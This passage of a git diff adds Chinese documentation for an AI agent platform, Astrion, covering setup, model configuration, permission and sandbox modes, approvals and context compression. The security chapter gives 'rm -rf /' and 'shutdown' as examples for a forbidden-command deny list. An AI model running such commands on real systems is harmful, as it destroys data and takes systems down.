`settings.json`」或系统环境变量,见下文「配置优先级」。 + +--- + +## 3. 运行端口与监听地址 + +- **默认端口:`8091`**(`WEB_SERVER_PORT`)。 +- 监听地址(`WEB_SERVER_HOST`): + - 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达; + - 多用户/服务器部署:用 `0.0.0.0`。 +- 启动命令行参数 `--port` 可以临时覆盖配置。 +- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader),生产环境保持 `0`。 + +--- + +## 4. 数据路径:数据都存在哪、怎么搬迁 + +Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**: + +``` +~/.astrion/astrion/ ← 数据根目录(data_root) +├── settings.json ← 唯一配置文件(优先级最高) +├── config/ ← 部署级配置(模型库等,host/web 共享) +├── host/ ← host 模式的数据 +│ ├── data/ users/ logs/ api/ +└── web/ ← web/docker 模式的数据(结构同上) +``` + +按运行模式自动分流:`TERMINAL_SANDBOX_MODE=host` 时数据进 `host/`,否则进 `web/`。 + +### 路径相关环境变量(优先级从高到低) + +| 环境变量 | 作用 | +|----------|------| +| `DATA_DIR` / `LOGS_DIR` / `USER_SPACE_DIR` / `API_USER_SPACE_DIR` | 单独覆盖某一个目录(最高优先级) | +| `ASTRION_DATA_ROOT` | 整体搬迁数据根目录(默认 `~/.astrion/astrion`) | +| `DEPLOY_CONFIG_DIR` | 单独搬迁部署级配置目录(默认 `<数据根>/config/`) | + +具体目录变量支持相对路径(相对仓库根目录展开)、绝对路径与 `~`。 + +### 配置优先级 + +同名配置生效顺序:**`<数据根>/settings.json` > 系统环境变量 > 仓库根目录 `.env` > 代码默认值**。 + +`.env` 加载时不覆盖已存在的系统环境变量;`settings.json` 是推荐的生产配置方式,例如: + +```json +{ + "server": { "port": 8091, "host": "127.0.0.1" } +} +``` + +--- + +## 5. 配置主智能体模型 + +主智能体的模型统一在 **`custom_models.json`** 中注册。 + +**放置位置**(按回退链查找,找到即止): + +1. `<数据根>/config/custom_models.json`(生产推荐) +2. 仓库内 `config/custom_models.json` +3. 仓库内 `config/custom_models.json.example`(种子示例) + +**完整字段说明**: + +```json +{ + "models": [ + { + "model_name": "Kimi-K3", + "description": "展示给用户的模型描述", + "visible": true, + "url": "${API_BASE_KIMI}", + "apikey": "${API_KEY_KIMI}", + "multimodal": "image,video", + "reasoning_capability": "fast,thinking", + "reasoning_effort": true, + "context_window": 1048576, + "max_output_tokens": 64000, + "thinkmode_status": { + "type": "param_toggle", + "model_id": "k3", + "fast_extra_parameter": { "thinking": { "type": "disabled" } }, + "thinking_extra_parameter": { "thinking": { "effort": "max" } } + }, + "extra_parameter": {}, + "model_description": "注入系统提示词的模型自我描述" + } + ] +} +``` + +| 字段 | 必填 | 说明 | +|------|------|------| +| `model_name` | ✅ | 模型条目名,UI 中显示,也是各配置引用它的 key | +| `url` | ✅ | API 基础地址。**支持 `${环境变量}` 引用**,密钥不要写明文 | +| `apikey` | ✅ | API Key,同样支持 `${...}` | +| `description` | | 列表中展示的说明文字 | +| `visible` | | 是否在模型选择菜单中可见 | +| `multimodal` | | `image,video` 等;决定输入栏是否允许发图/视频 | +| `reasoning_capability` | | `fast,thinking`;决定思考模式可选项 | +| `reasoning_effort` | | 是否支持「推理强度」滑块 | +| `context_window` | | 上下文窗口大小(token),压缩阈值、用量统计以此为基准 | +| `max_output_tokens` | | 单次最大输出 token | +| `thinkmode_status` | | `param_toggle` 类型:`model_id` 为真实模型 ID;`fast/thinking_extra_parameter` 为两种模式下分别附加的请求参数 | +| `extra_parameter` | | 所有请求都附加的额外参数 | +| `model_description` | | 注入系统提示词的自我介绍 | + +**最小配置**只需要 4 个字段:`model_name` / `url` / `apikey` / `thinkmode_status.model_id`,其余字段均有默认值。 + +> 提醒:`setup.sh` 向导在第 5 步创建的模型条目就是最小配置——`multimodal` 为 `none`(不能发图/视频)、`context_window` 固定 128000、`max_output_tokens` 32768。如果你的模型支持多模态或更大上下文,配完向导后请手动编辑 `<数据根>/config/custom_models.json` 补齐字段。 + +**默认模型**:不设 `AGENT_DEFAULT_MODEL` 时使用列表中第一个可见模型;也可以在个人空间「模型与思考」页设置每用户默认模型。 + +> 注意:旧版的 `AGENT_API_*` / `AGENT_THINKING_*` / `AGENT_TITLE_*` 环境变量已从代码中移除,配置它们不再有任何效果。 + +--- + +## 6. 配置子智能体模型 + +子智能体(含三个审核智能体)使用**独立的模型库**:`sub_agent_models.json`。 + +**放置位置**:仅从部署配置目录读取——`<数据根>/config/sub_agent_models.json`(可用 `SUB_AGENT_MODELS_CONFIG_FILE` 单独覆盖)。**没有这个文件,子智能体将无法启动**,会直接报「未找到可用子智能体模型配置」。 + +**结构**: + +```json +{ + "default_model": "deepseek-v4-flash", + "models": [ + { + "name": "deepseek-v4-flash", + "url": "${SUB_AGENT_API_BASE}", + "apikey": "${SUB_AGENT_API_KEY}", + "model_id": "deepseek-v4-flash", + "modes": "fast,thinking", + "multimodal": "image", + "max_output": 32000, + "max_context": 128000, + "extra_parameter": {}, + "fast_extra_parameter": {}, + "thinking_extra_parameter": {} + } + ] +} +``` + +要点: + +- `default_model`:默认条目名;子智能体/审核智能体配置里 `model` 留空时用它。若指定的名字不存在,回退到列表中第一个可用条目。 +- 字段名做了宽松兼容:`name`/`model_name`/`model`、`url`/`base_url`、`apikey`/`api_key` 均可;`modes` 写 `fast,thinking` 表示支持思考模式,只写 `fast` 表示纯快速模式。 +- 也支持与主模型库相同的 `thinkmode_status` 结构,可以直接从 `custom_models.json` 复制条目改名字用。 +- `url` / `apikey` 同样支持 `${环境变量}` 引用。 + +**子智能体相关环境变量**: + +| 变量 | 默认 | 说明 | +|------|------|------| +| `SUB_AGENT_MAX_ACTIVE` | 5 | 同时运行的子智能体上限 | +| `SUB_AGENT_DEFAULT_TIMEOUT` | 180(秒) | 默认超时 | +| `SUB_AGENT_TASKS_BASE_DIR` | `<数据根>/<模式>/data/sub_agent_tasks` | 任务目录 | +| `SUB_AGENT_PROJECT_RESULTS_DIR` | `<工作区>/sub_agent_results` | 交付目录(有意放在工作区内) | + +--- + +## 7. 选择运行模式:host 还是 docker(web) + +由 `TERMINAL_SANDBOX_MODE` 决定,两种模式面向完全不同的场景: + +| | **host 模式** | **web/docker 模式** | +|---|---|---| +| 定位 | 本地个人使用 | 服务器多用户部署 | +| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 | +| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` | +| 前置准备 | 无需镜像;Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) | +| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` | + +选择建议: + +- **一个人在自己电脑上用** → `host`。文件管理器、本地工具链直接可用,体验最好。 +- **部署到服务器给多人用** → `docker`。容器天然隔离用户之间的文件与进程。 +- host 模式可以同时读取 web 模式的数据(用户列表、工作区合并显示),反向不行。 + +沙箱镜像基于 `python:3.11-slim`,内置 LibreOffice / Pandoc / FFmpeg / Tesseract OCR(含中文)/ Chromium / Node 20 / docx / pptxgenjs 等常用工具链。**程序不会自动构建镜像**,web 模式启动前必须手动构建一次。 + +--- + +## 8. 首次启动检查清单 + +1. 浏览器打开 `http://localhost:8091`,用管理员账户登录; +2. 进入个人空间,确认「模型与思考」页能看到你配置的模型; +3. 随便发一条消息,确认主智能体能正常回复; +4. 让主智能体创建一个子智能体(或直接说「帮我查一下 xxx」触发),确认 `sub_agent_models.json` 配置正确; +5. 若是 web 模式,确认镜像已构建、终端容器能正常拉起。 + +到这里,你的 Astrion 已经可以正常工作了。接下来建议阅读《核心概念》,理解部署模式、权限模式、执行环境、运行模式这四组概念——它们决定了 Astrion 的行为边界。 diff --git a/website-content/02-core-concepts.md b/website-content/02-core-concepts.md new file mode 100644 index 00000000..15711fe7 --- /dev/null +++ b/website-content/02-core-concepts.md @@ -0,0 +1,111 @@ +# 核心概念 + +Astrion 有四组**相互正交**的概念,理解它们是理解整个系统的钥匙。它们两两组合决定了一次任务「能做什么、在哪跑、做到什么程度」: + +| 概念组 | 取值 | 决定什么 | 在哪里切换 | +|--------|------|----------|------------| +| **部署模式** | host / docker(web) | 数据存哪、命令在宿主机还是容器里跑 | 环境变量(部署时确定) | +| **权限模式** | readonly / approval / auto_approval / unrestricted | AI 的工具调用要不要经过批准 | 输入栏权限菜单(对话级) | +| **执行环境** | sandbox / direct | 命令是否经过 OS 沙箱 | 输入栏权限菜单(对话级,仅 host 模式) | +| **运行模式** | plan / ask / execute | AI 与你的交互节奏:先出计划还是直接干活 | 输入栏运行模式切换器(对话级) | + +--- + +## 1. 部署模式:host vs docker(web) + +部署模式在**启动前**由环境变量 `TERMINAL_SANDBOX_MODE` 决定,运行中不可切换。 + +- **host 模式**:面向本地个人使用。命令通过宿主机 OS 沙箱执行,AI 可以直接操作你授权的本机目录(比如真实的项目仓库),文件管理器、本地 Node/Python 工具链直接可用。 +- **docker 模式(web 模式)**:面向服务器多用户部署。每个用户的终端命令在独立的 Docker 容器里执行,用户之间文件与进程天然隔离。需要先构建沙箱镜像(见《快速上手》)。 + +两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。 + +> 注意:docker 模式同样有只读强制——受限档权限(readonly/approval/auto_approval)下,命令以非特权用户(uid 10001)在容器内执行,写入由内核文件权限直接拒绝,「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。 + +## 2. 权限模式:AI 能做什么 + +权限模式是**产品层**开关,决定工具调用是否被拦截、是否需要批准。按对话切换,随时可改。 + +### readonly(只读) + +- `run_command` 允许调用,但在**只读沙箱**中执行;一旦触发写入,操作系统直接返回权限拒绝(如 `Operation not permitted`)。 +- `write_file` / `edit_file` 等写入类工具**直接拒绝**。 +- 适用:让 AI 只做代码审查、只读分析、回答问题时。 + +### approval(批准,推荐默认) + +- `run_command` 走**两段式**:先在只读沙箱执行 → 若出现权限拒绝,向前端发起审批 → 你批准后,**仅该条命令**以可写沙箱重试一次。 +- 工具返回的是重试后的最终结果,AI 不会看到中间的拒绝过程。 +- 审批拒绝或超时:本次不执行,不写入。 + +### auto_approval(自动审核) + +- 与 approval 相同的「只读优先」流程,但审批者是**自动审批智能体**(一个独立的 AI,可在个人空间配置它的模型与参数)。 +- `write_file` / `edit_file`:目标在工作区内直接执行;工作区外进入自动审批。 +- 自动审批拒绝时,AI 收到「被拒绝 + 理由」后继续尝试别的路径,不会中断整轮任务。 +- 你可以随时人工接管:同意 / 拒绝 / 切换为无限制。 + +### unrestricted(无限制) + +- 权限层不做任何拦截,工具直接执行。 +- 此时安全边界完全由执行环境决定(见下节):sandbox 下仍有 OS 沙箱兜底,direct 下等于裸奔。 + +## 3. 执行环境:sandbox vs direct + +执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱: + +- **sandbox(默认)**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。 +- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档(readonly/approval/auto_approval)与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。 + +### 各平台沙箱实现与安全水位(请务必阅读) + +| 平台 | 实现 | 安全水位 | +|------|------|----------| +| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 | +| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) | +| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 | + +这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段,三个平台都是可靠的;把它当作「防恶意窃取数据」的手段,macOS(白名单)与 Windows(WSL2)可以信赖,Linux 暂时不行。 + +### 路径授权 + +host 模式下,沙箱的文件访问边界由路径授权决定,分两类: + +- **可读可写路径**:AI 可以读也可以改; +- **仅可读路径**:AI 能看但不能改。 + +关系:`可读集合 = 可读可写 + 仅可读`;`可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。 + +> 终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。 + +### 网络权限 + +独立于文件沙箱的另一组开关(plan 模式下也可调): + +- **受限**(默认):仅允许本地回环访问,外部网络不可达; +- **完全开放**:允许所有出站/入站连接。 + +## 4. 运行模式:AI 与你的交互节奏 + +运行模式控制 AI **什么时候动手、什么时候先问你**,与权限完全正交。仅空闲时可切换(任务运行中切换会收到 409 提示)。 + +- **plan(计划)**:只制定计划并与你讨论,不实际改东西。此模式下权限被**锁定为只读**、执行环境**锁定为沙箱**(UI 禁用 + 后端双重强制,网络权限除外)。唯一例外是写 `.astrion/plan/*.md` 计划文档。计划写完后 AI 会调用 `submit_plan` 请你批准;**批准即自动切换到 execute** 并恢复你之前的权限设置。 +- **ask(询问)**:先讨论后开工。AI 把方案、疑问写在回复里与你来回确认,关键细节拍板后才动手。执行层面与 execute 无差异,只是交互节奏不同。 +- **execute(执行)**:AI 自行梳理计划、补全细节,直接开工,只有遇到硬阻塞(缺信息、需要账号密码等)才提问。 + +### 常见组合 + +| 场景 | 推荐组合 | +|------|----------| +| 让 AI 改你正在维护的重要项目 | plan + approval + sandbox | +| 日常随手用、追求效率 | execute + auto_approval + sandbox | +| 纯问答/代码评审,绝不许动文件 | 任意模式 + readonly(执行环境自动锁沙箱) | +| 服务器多用户部署 | docker 模式(执行环境概念不适用) | + +## 5. 四组概念的联动规则速查 + +1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox(网络权限仍可调); +2. 受限档权限(readonly/approval/auto_approval)→ 执行环境自动锁定为 sandbox,direct 仅 unrestricted 可用; +3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境; +4. docker 模式下没有 sandbox/direct 之分,容器即边界; +5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。 diff --git a/website-content/03-conversations.md b/website-content/03-conversations.md new file mode 100644 index 00000000..6c9c40e5 --- /dev/null +++ b/website-content/03-conversations.md @@ -0,0 +1,76 @@ +# 对话 + +本章讲「一个对话」本身的能力:对话类型、思考模式、目标模式,以及对话过程中可用的几个面板功能。 + +--- + +## 1. 对话类型:普通 vs 多智能体 + +创建对话时选定,**创建后不可变**: + +- **普通对话(智能体)**:你与一个主智能体对话,它可以按需在后台派出子智能体干活。 +- **多智能体对话**:主智能体固定为 **Team Leader**,不亲自干活,而是创建多个带角色的子智能体(如 Full-Stack Engineer、UI Operator),在它们之间派活、收汇报、做决策。子智能体之间也可以互相通信,但每次沟通都会同步汇报给 Team Leader,不存在"私下串通"。 + +切换入口:空对话时输入栏底行 `+` 右侧的对话类型选择器;侧边栏的列表过滤器则决定你在列表里看哪一类对话。 + +多智能体的完整玩法见《智能体能力》一章。 + +## 2. 思考模式与推理强度 + +两个独立开关,都作用于当前对话: + +- **思考模式**:`快速(fast)` / `思考(thinking)`。快速模式追求响应速度、跳过思考过程;思考模式整轮对话使用思考模型。输入栏可切换,个人空间可设默认值。 +- **推理强度(Effort)**:`默认 / 低 / 中 / 高` 滑块(需模型配置里 `reasoning_effort: true` 才会出现)。「默认」表示不指定强度,使用 API 自身默认行为;拖动滑块可实时调整思考的深度档位。 + +> 模型的多模态能力(能否发图片/视频)由 `custom_models.json` 中该模型的 `multimodal` 字段决定;思考模式可选项由 `reasoning_capability` 决定。 + +## 3. 目标模式(Beta) + +> ⚠️ 目标模式是 **beta 功能**:机制完整可用,但边界情况(多对话并发时的 token 统计、异常中断恢复等)仍在打磨,请带着预期使用并反馈问题。 + +普通对话里,AI 完成你交代的一轮任务就停了。**目标模式**让 AI 围绕一个长期目标**自动一轮一轮干下去**,直到目标达成或触顶停止。 + +**用法**: + +1. 输入栏 `+` 菜单 →「目标模式」,进入「已就绪」状态; +2. 你发送的下一条消息会被当作**目标**(而不是普通任务); +3. AI 围绕目标自动连续工作:每轮结束后自我评估「目标达成了吗」,没达成就继续下一轮; +4. 达成、触顶或你手动取消时停止。 + +**结束条件**(个人空间可配,可多选): + +- `max_turns`:最多自动续 N 轮(有默认值,可调); +- `max_tokens`:累计(输入+输出)token 上限,默认不启用。注意该统计是**工作区级**的,多对话并发时是近似值。 + +**目标审核**:可选配一个目标审核智能体(个人空间「审核智能体」页的 `goal_review`),两种审核模式: + +- `readonly`(默认):审核智能体只读对话内容来判断目标进度; +- `active`:允许它跑只读命令取证(比如检查文件是否真的生成了)再下结论。 + +目标状态按对话独立持久化(`goal_states/<对话ID>.json`),切换对话、上下文压缩、重启服务都不会丢失目标进度。 + +## 4. 对话面板:回顾 / 用量 / 实时终端 + +输入栏 `+` 菜单里的三个面板型功能(它们只是信息面板,**与安全机制无关**): + +- **对话回顾**:打开当前对话的回顾视图,按时间线回看这次对话做了什么。 +- **用量统计**:上下文与 token 用量面板,看当前对话的上下文占用、累计消耗。 +- **实时终端**:打开实时终端面板,直接看到 AI 正在执行的终端会话实况——它正在跑什么命令、输出是什么。这是观察窗口,不是安全边界;真正的安全控制请看《执行与安全》。 + +## 5. 对话管理 + +- **搜索**:侧边栏顶部搜索框,按标题与内容检索对话。 +- **平铺 / 分组视图**:侧边栏可以平铺所有对话,也可以按工作区分组(个人空间「外观与显示」→ 侧边栏分组)。分组模式下支持工作区置顶与排序。 +- **类型过滤**:侧边栏的类型切换器(普通 / 多智能体)决定列表里显示哪类对话。 +- **新建对话按钮行为**:个人空间可选——点击 `+` 是「跳转到空白新对话页」(route)还是「立即创建空对话」(blank)。 +- **自动标题**:默认开启,首轮对话后自动生成标题;可在个人空间关闭。 + +## 6. 对话显示模式 + +个人空间「外观与显示」提供三种消息流显示模式: + +- **传统列表**:所有消息平铺; +- **堆叠动画**(默认):工具调用等中间块堆叠收纳,主干对话更清爽; +- **极简模式**:最克制的显示,只看要点。 + +另有「完整信息 / 简略信息」控制简略消息的展开程度,以及助手状态形象(戳一戳有彩蛋)等显示开关。 diff --git a/website-content/04-input-context.md b/website-content/04-input-context.md new file mode 100644 index 00000000..4ffa33aa --- /dev/null +++ b/website-content/04-input-context.md @@ -0,0 +1,89 @@ +# 输入与上下文 + +本章讲输入栏的两个菜单、文件引用、上传,以及 Astrion 的上下文管理体系——包括压缩机制的正确用法。 + +--- + +## 1. `+` 快捷菜单(完整功能清单) + +点击输入栏左侧 `+` 打开。完整功能一览: + +| 功能 | 说明 | +|------|------| +| 新建对话 | 开始一个新对话(等价 `new` / `clear`) | +| 上传文件 | 选择本地文件上传到工作区 | +| 发送图片 / 发送视频 | 附加到消息;**当前模型不支持多模态时禁用**(取决于 `multimodal` 配置) | +| 压缩对话 | 手动触发一次上下文压缩 | +| 选择 AgentSkill | 插入一个 Skill 引用(等价输入 `//` 快捷直达) | +| 工作流 | 激活一个工作流,让智能体按既定流程推进 | +| 对话类型 | 空对话时切换「智能体 / 多智能体」(创建后不可变) | +| 切换工作模式 | plan / ask / execute | +| 切换主题 | 经典 / 明亮 / 夜间 | +| 对话回顾 | 打开当前对话回顾 | +| 用量统计 | 上下文与 token 用量面板 | +| 目标模式 | 切换目标模式(Beta,见《对话》章) | +| 个人设置 | 打开个人空间 | +| 实时终端 | 打开实时终端面板 | +| 切换模型 | 选择本对话使用的模型 | +| 思考模式 | 切换 fast / thinking | +| 权限模式 | 切换 readonly / approval / auto / unrestricted | +| 网络权限 | 受限 / 完全开放(plan 模式下也可调) | +| 执行环境 | sandbox / direct(仅 host 模式) | +| 切换工作区 / 项目 | 切换当前对话绑定的工作区 | +| 版本控制 | 开/关本对话的版本控制 | +| Git 状态栏 | 显示/隐藏输入栏上方的 Git 状态条 | +| 路径授权 | 查看和管理沙箱路径授权 | +| 审批面板 | 查看审批记录 | + +## 2. `/` 斜杠菜单 + +在输入框输入 `/` 触发斜杠直达菜单,用关键字快速过滤并直达某一类选项,目前支持 12 类:AgentSkills(`//` 直达)、工作流、主题、权限模式、执行环境、模型、思考模式、网络权限、工作模式、工作区、对话类型等。 + +典型用法:`/skill` 选技能、`/workflow` 选工作流、`/model` 切模型——比在 `+` 菜单里翻要快。 + +## 3. `@` 文件引用 + +输入 `@` 唤起文件菜单,从工作区中选择文件/目录插入引用。被引用的文件会作为上下文提供给智能体,适合「就这个文件展开讨论」的场景。图片类文件引用会按多模态能力处理。 + +## 4. 上下文压缩:浅压缩与深压缩 + +长对话迟早会触及模型上下文上限,Astrion 提供两级自动压缩 + 手动压缩: + +### 浅压缩(默认关闭) + +- 机制:把较早的**工具调用结果替换为占位符**(保留最近 N 个工具结果不压),立刻腾出空间。 +- 触发:默认累计 80k tokens 触发(可调),另有「每 N 次工具调用」「每轮最多替换 N 个」「保留最近 N 次用户输入后的工具不压」等细调参数。 +- ⚠️ **重要代价:浅压缩会改动历史消息内容,从而破坏服务商侧的上下文缓存(prompt cache)**——压缩后的几轮请求将无法命中缓存,表现为响应变慢、费用上升。这是它默认关闭的原因。 + +### 深压缩(默认开启,推荐) + +- 机制:对整段历史做**深度总结**,旧上下文整体替换为浓缩摘要后轻装继续。 +- 产物形式可选(`deep_compress_form`):`file`——总结写入文件,需要时随时回读(默认);`inject`——直接把总结全文注入上下文。 +- 触发:默认 150k tokens。 + +### 自定义阈值的 80% 规则(务必遵守) + +如果你要自定义压缩触发阈值,**至少设为所用模型实际可用上下文的 80%**。 + +例如模型实际上下文是 128k,触发阈值不应低于约 102k。阈值设得太低会频繁触发压缩:既浪费 token,又频繁破坏上下文缓存,还会让 AI 过早丢失细节记忆。让对话尽量「用满窗口再压缩」才是性价比最高的用法。 + +> 模型的实际上下文窗口以 `custom_models.json` 中该模型的 `context_window` 为准;注意区分「标称上下文」与「实际可用上下文」(部分 API 会预留输出空间)。 + +### 手动压缩 + +`+` 菜单 →「压缩对话」随时可手动触发,适合你预判接下来要开新话题、主动腾空间的场景。 + +## 5. 上下文注入类功能 + +这些功能影响每轮对话自动携带的上下文,都在个人空间配置: + +- **最近对话提示**(默认关闭):开启后,新对话自动把最近 N 条历史对话的摘要注入上下文(N 可配,1–30,默认 10)。适合「我最近一直在折腾同一个项目」的连续工作流;与「对话连续性」个性化设置配合使用。 +- **AGENTS.md 自动注入**(默认关闭):开启后自动把项目根目录的 AGENTS.md 注入上下文,让 AI 始终带着项目规范工作。 +- **项目记忆索引注入**:AI 的项目记忆索引默认最多注入 20 条(5 起,可设为无上限)。记忆内容由 AI 在工作过程中主动沉淀。 +- **Skill 提示**(默认关闭):根据当前任务动态提示可能相关的 Skill。 + +## 6. 上传与多模态 + +- **上传文件**:进入工作区,AI 后续可读取处理; +- **发送图片/视频**:随消息直接进入多模态上下文; +- 图片压缩档位(个人空间):`原图 / 1080p / 720p / 540p`,默认原图。长对话里多发大图建议降档,节省上下文。 diff --git a/website-content/05-execution-security.md b/website-content/05-execution-security.md new file mode 100644 index 00000000..64ec270b --- /dev/null +++ b/website-content/05-execution-security.md @@ -0,0 +1,86 @@ +# 执行与安全 + +本章讲 Astrion 如何安全地执行 AI 发起的操作:沙箱执行的实际行为、路径授权、审批机制。概念层面的四组开关(部署/权限/执行环境/运行模式)请先看《核心概念》,本章聚焦具体行为与日常管理。 + +> 范围说明:「实时终端」只是观察面板,与安全机制无关,见《对话》一章。 + +--- + +## 1. 命令是怎么被执行的 + +### run_command:两段式执行 + +以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是: + +1. **先在只读身份下执行**——能读不能写(host 模式靠 OS 沙箱,docker 模式靠容器内的非特权用户); +2. 如果命令没碰写操作,直接返回结果,全程无感; +3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**; +4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行; +5. AI 拿到的是最终结果,中间过程不干扰它的思路。 + +`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。 + +### 终端会话:身份钉死,切换即关闭 + +持久终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档(readonly/approval/auto_approval)下终端以只读身份运行,终端里的写入由系统直接拒绝(EPERM);`unrestricted` 下才是可写身份。当你**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。 + +### 子智能体与后台命令 + +子智能体的终端进程同样经过执行环境策略:sandbox 下经宿主机沙箱启动,direct 下直接宿主机启动;docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。 + +## 2. 路径授权的日常管理 + +入口:输入栏 `+` 菜单 →「路径授权」。 + +- **可读可写路径**:AI 的完整工作范围,通常就是你的项目目录; +- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。 + +建议实践: + +1. 保持最小授权——只加当前任务需要的目录; +2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类; +3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。 + +## 3. 网络权限 + +输入栏权限菜单中独立的一组: + +- **受限**(默认):仅本地回环,AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发; +- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。 + +网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。 + +## 4. 审批面板 + +入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。 + +## 5. 禁止命令清单 + +部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。 + +## 6. 关于 direct 模式的忠告 + +`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限(readonly/approval/auto_approval)硬互斥——只有 `unrestricted` 才能选 direct,从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时: + +1. 先把权限档切到 `unrestricted`,再临时切到 direct; +2. 跑完立即切回 sandbox(和原来的权限档); +3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。 + +## 7. docker 模式的安全现状 + +docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制: + +- 受限档(readonly/approval/auto_approval)下,run_command、后台命令与持久终端都以**非特权用户(uid 10001)**在容器内执行——工作区属主是 root,写入由内核文件权限直接拒绝,不依赖对命令文本的识别;审批通过后,仅该条命令以 root 身份重试; +- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock(按官方部署文档操作即满足); +- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界; +- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。 + +## 8. 各平台安全水位 + +再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度: + +- **Windows(WSL2)**:可做到完全数据隔离,需先安装 WSL2; +- **macOS(sandbox-exec)**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读); +- **Linux(bwrap+seccomp)**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。 + +无论哪个平台,沙箱的首要价值是**防误操作**;涉及真正的敏感数据,请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。 diff --git a/website-content/06-conversation-assets.md b/website-content/06-conversation-assets.md new file mode 100644 index 00000000..04a56185 --- /dev/null +++ b/website-content/06-conversation-assets.md @@ -0,0 +1,68 @@ +# 对话资产管理 + +AI 改了你工作区的文件之后,「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff)、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。 + +--- + +## 1. 版本控制 + +对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。 + +### 开关与备份方式 + +- 新对话**默认开启**(个人空间可改默认值); +- 单个对话可在 `+` 菜单 →「版本控制」临时开关; +- 备份方式二选一(个人空间): + - 